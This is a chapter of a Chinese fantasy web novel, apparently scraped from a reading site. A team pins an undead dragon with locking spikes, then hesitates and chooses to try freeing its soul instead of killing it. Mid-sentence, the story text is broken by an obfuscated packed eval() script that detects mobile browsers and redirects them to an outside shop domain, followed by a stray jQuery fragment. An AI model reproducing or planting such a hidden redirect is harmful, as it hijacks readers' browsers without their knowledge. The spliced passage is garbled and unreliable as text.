数千年前,吾游历人间,路经此潭,见潭水清澈,映照天空,美轮美奂。吾心生欢喜,时时嬉于此潭,沉醉忘归。
吾生性喜静,厌杀戮,爱好和平,却因部落之争,卷入阪泉之战。昔日好友,今成敌人,生死之交,却死生难测。吾浴血奋战数年,敌友皆殒,孤身寡人,虽得渺胜,心中至哀。
残命之躯,风中烛火,吾本欲老死潭中,化身川脉,惠泽人间。然吾之友人,尚有遗愿,托吾携众友之魄,复返昆仑,投身归墟,重塑神魂。以期千年之后,众友相逢,寄情山水,自在逍遥。
岂料吾归家途中,复经此潭,唇焦舌燥,魂乏力竭,于浑浑噩噩之中坠入深潭,幸得潭水滋养,渐获生机。
然人之一类,面善心狡,因吾曾助布雨,视吾为祥瑞,欲困吾于此万年。遂携同叛者,削吾双翼,剥吾鳞甲,锁吾七穴,吾痛不欲生,知无余地,惟以逆鳞与叛者同归于尽。
可吾使命未达,日夜难安,吾死不足惜,惟盼友人,早入归墟。
如能脱此沼泽,送返友人,吾愿受永世镇压,堕身妖魔,从此不得轮回……
有片刻的光景,洞中鸦雀无声。
江忍见大家都不发一言,只好出声提醒:“既然知道龙神遗骨在哪儿了,我们尽快分工吧。我和九瑶小姐依照蜃景去找遗骨上的锁龙钉,江宴你要想好之后的行动方案,龙魃虽然实力受限,但我们之中并非人人身手矫健,如何排兵布局非常重要。现在也不是感情用事的时候。”
他这最后一句话是在提醒江宴,也是借着江宴提醒在场所有人。
江宴平复心情,道:“让十七与你们一同去,七枚锁龙钉要拔出来也要废不少功夫,多一个人多一份力,其余人留下来商量阵法的具体施行。”
任务敲定之后,两方分头行动。
九瑶、江忍和十七回到龙潭里,有了蜃景的指引,很快便找到被土沙覆盖在深处的巨龙遗骨,将七枚锁龙钉一一取了出来。
江宴这边也安排好了后续事宜,七处穴位,其中地枢,气海和厥阴,这三处穴位最为关键,落钉时遇到的风险也最大,所以依次交由江忍,九瑶和江宴三人来完成。
江宴把辟雷珠递给江忍:“忍哥,你第一个下钉,至关重要,我会用神血结阵,和九瑶一起帮你吸引巨龙的注意力。但巨龙狂戾,怕是会拼死反抗,你要小心。”
江忍没说什么,接过了辟雷珠。
“大家按约定位置藏好,一定注意保护好自己,随机应变。”江宴朝众人嘱咐一番,随即看向辛沅,“辛先生,开始吧。”
辛沅闭上眼睛默默催动寻龙术,说起来也是辛酸,身为守龙一族,从他往上数五代,家族之人竟没有一个见过真龙的。
传到他时,辛家已经是门庭冷落,子孙凋零。
他还记得年迈的太爷爷临终时握着他的手,热泪盈眶:“小沅,只要守龙的初心还在,不管此生有没有见过真龙,我们永远都是肩负着守龙使命的守龙人。”
他也记得叔父们分家时扔掉了那些关于龙的书籍和画册,满眼的不屑:“别自欺欺人了,这世上早就没有龙了!你不过是在为自己的不学无术找借口!”
“我能见到龙吗?”他曾问爷爷。
“这个不一定哦。”爷爷微笑着回答。
“那我就算学会了那些东西,是不是也根本都没有意义呢。”他感到失望又失落。
爷爷仍然微笑着摸了摸他的头:“即使那样也没关系。如果有一天,你有机会和一条龙产生共鸣,你就会明白,存在即是我们最大的意义。”
山洞深处传来了清越的龙吟,沉寂了数百年的寻龙术终于再次寻得了龙的踪迹。辛沅感觉自己全身的血液都沸腾了起来,这一刻他才真正有了身为守龙人的使命感。
携裹着炽烈电光的黑色巨龙,咆哮着冲出,身影充满整个山洞,带起的劲风令碎石震颤,地动山摇。
九瑶持匕迎战,待巨龙冲到近前,怒目而视,她凌空跃起,匕首朝着巨龙的一只眼睛狠狠刺下。
巨龙咆哮,弓起身躯,鳞片发出悉悉索索的摩擦声,高耸的头颅越过了匕首的高度,口中喷吐的气息将九瑶的身体直接撞了出去。江宴催动神血结成阵法,如同一张绯红的血网兜头撒下,而网丝牵连处以符咒牢牢钳制住巨龙的动作。
九瑶稳住身形落地,握着匕首紧密观察阵中的情况。刚才一番动作,巨龙已经暴露出了龙尾,躲在龙身后伺机待发的江忍抓住时机,目光锁定龙尾的地枢穴,趁着巨龙与江宴和九瑶斡旋,猛跑几步,借力跃起,将锁龙钉准确地钉入穴位。
巨龙仰天咆哮,困在阵法中的身躯不断挣扎冲撞,九瑶近身不得。
“十七!”江宴提醒。
十七敏捷的穿梭在巨龙疯狂横扫的下身中,巨龙才被锁龙钉重创,虎口处也有旧伤,十七趁热打铁,接过沈半人扔过来的锁龙钉,一个回身,利用自己的体重将那枚锁龙钉深深刺进巨龙的虎爪之中。
穿身刺骨之痛,唤起了巨龙死前痛苦不堪的回忆,它剧烈的挣扎,披覆着坚硬鳞甲的身躯左右晃动,擦到了准备退出去的十七,十七感觉自己像是被人打了一掌,半边身子一麻,身体轻飘飘的飞了出去,幸亏江忍在下面接住他,抵消了部分力道,否则这一摔,骨头至少得断一排。
危机并未解除,巨龙面目又狰狞了几分,目光充满了怨毒,它冲着结阵的江宴发出了愤怒至极的咆哮,巨大的吼声震的山洞外的水流都翻涌喧哗起来。
江宴感觉脑中和胸腔里一阵无以言喻的剧痛,虽然咬牙生扛,但阵法威力已经大打折扣。眼看巨龙将要破阵而出,九瑶跃了上来,手中利刃擦过巨龙颌下,在那之下三寸半的位置,有龙的逆鳞,触之必怒,然而这条龙,已经没有逆鳞了。
——龙身最脆弱致命的部位,没有了最坚硬的鳞片守护,所以在感应到危险时,便没了暴躁和狂怒,只剩下恐惧和无措。
九瑶动作不停,越过龙脊,绕行至龙腹位置,接过沈半人投来的锁龙钉,转身一气呵成干脆利落的钉入龙腹的气海穴中。
巨龙连遭重创,气势渐颓,咆哮声中已夹杂哀鸣,它仿佛预料到了自己的结局,尽管已是强弩之末,却仍不甘心被同样的方法再度杀死。
“靳川!”辛沅提醒,又看向仍在苦苦维系阵法的江宴,他知道祖巫氏结阵靠的是神血,阵法越强,神血修为就越高。若阵法由强变弱,说明结阵者有血竭之兆,他担心江宴可能都撑不到最后一个下钉。
眼见三枚锁龙钉已经成功钉入龙身,江宴虽觉气血翻涌,腑内如灼,意识却是清明的。突然心头一松,身上压力骤减,他惊讶的转过头,只见江忍与他并肩,也在结阵。
“我来替你,你留点力气下锁龙钉吧。”江忍语气平淡,并没有看他。
靳川肩膀的伤口被十七妥善处理过,但毕竟没有上过麻醉剂,动作大点,撕扯到伤口还是会有钻心之痛。疼痛尚可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009637|141963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忍耐,疼痛引发的行动迟缓却无法控制。他勉力握起锁龙钉,巨龙正处于力竭溃败的边缘,若此时下钉成功,便为屠龙奠定成功的基础。靳川咬牙用尽浑身的力气,在被肩膀剧痛击垮前,将锁龙钉钉入巨龙的关元穴。
沈半人眼看那锁龙钉成功钉入,心里刚松了口气,还来不及高兴,那巨龙因疼痛剧烈挣扎,竟将那枚锁龙钉又弹了出来。
靳川的伤口崩裂了,半边肩膀被血染透,他脸色苍白,看着滚落在地的锁龙钉,没有说话。
“靳川……”沈半人不知道自己现在该不该给他打气。
靳川步履蹒跚地走到锁龙钉前,弯腰去拾那锁龙钉,抱了两次都没能抱得起来。
辛沅走过去想帮他,靳川却突然开口:“我……下不去手。”
他看着已是强弩之末的巨龙,看着它正在汩汩冒血的身体,看着它眼中的愤怒、委屈和悲伤。
“它没有错。”
错的明明是人。
“人类已经欠它一次,又怎么可以为了阻止祸端,一错再错下去。”
靳川的话,让众人陷入了沉默。
看了龙神死前的蜃景,是非曲直,大家都心中有数。只是能力有限,为了活命和大局,不得不去选择漠视真正的苦主,而让错误重蹈覆辙。
靳川努力过了,他在意同伴的生死超过自己,他知道山上那群游客何其无辜,可他依然无法说服自己去漠视那条龙的痛苦和无辜。
“下不去手,就不要下手了。”江宴打破了沉默。
靳川抬头看他,看到他颈下的血口,看到他满手的鲜血,心头涌上愧疚:“……对不起。”
“你不用道歉,”江宴平静道,“因为我也下不去手。”
“没有人下的去手!”辛沅神色复杂,“我身为守龙人,平生第一次遇龙,却不是为了守护,而是要屠龙!可龙神留下龙谱的目的,不仅仅是为了让我们守护龙族,也是为了让我们可以在它们陷入疯魔、无法自控的时候,站出来,阻止它们做下后悔的事情!”
“阻止的方法并非只有屠龙。”江宴平静地看着他,“世上的事,非因即缘,你是守龙人,若你跟龙神的相遇是因,那我们今天跟龙神的相遇,便是缘。”
即是缘,就随缘。
“什么意思?”辛沅不懂。
“你打算超度这条龙吗?”九瑶猜到了他的决定。
江宴没有否认:“我们都不想屠龙,如果有其他方法,即使危险一些,困难一些,也不妨试一把。”
辛沅完全震惊于他的这个想法:“虽然你是祖巫氏后人,但龙魃不是普通的亡灵,你这是越级超度,会遭反噬的!况且,万一你失败了,我们就无法凑足七个人了!”
“你是守龙人,你们家族世代守护龙族,龙神把这世上唯一可以杀死它的方法告诉你的族人,难道你还不信它也可以坚守本心吗?”
“我相信,若我们抱以赤诚之心,未必不能解开罪恶的渊薮,就算我失败了,”江宴目光坚定坦然,“也有人替我。”
“谁?”十七忍不住好奇。
不远处一直看戏的江离,感觉他说的好像是自己。四处看了看,确认了下,好像也只能是自己。
“这莫非是江家的传统,有事专坑自己人。”江离在心里吐槽,“不过,放心,你死了,我肯定替你。”
还在结阵的江忍似乎猜到了江宴所指,他了然的笑笑,心头生出一种从未有过的明快。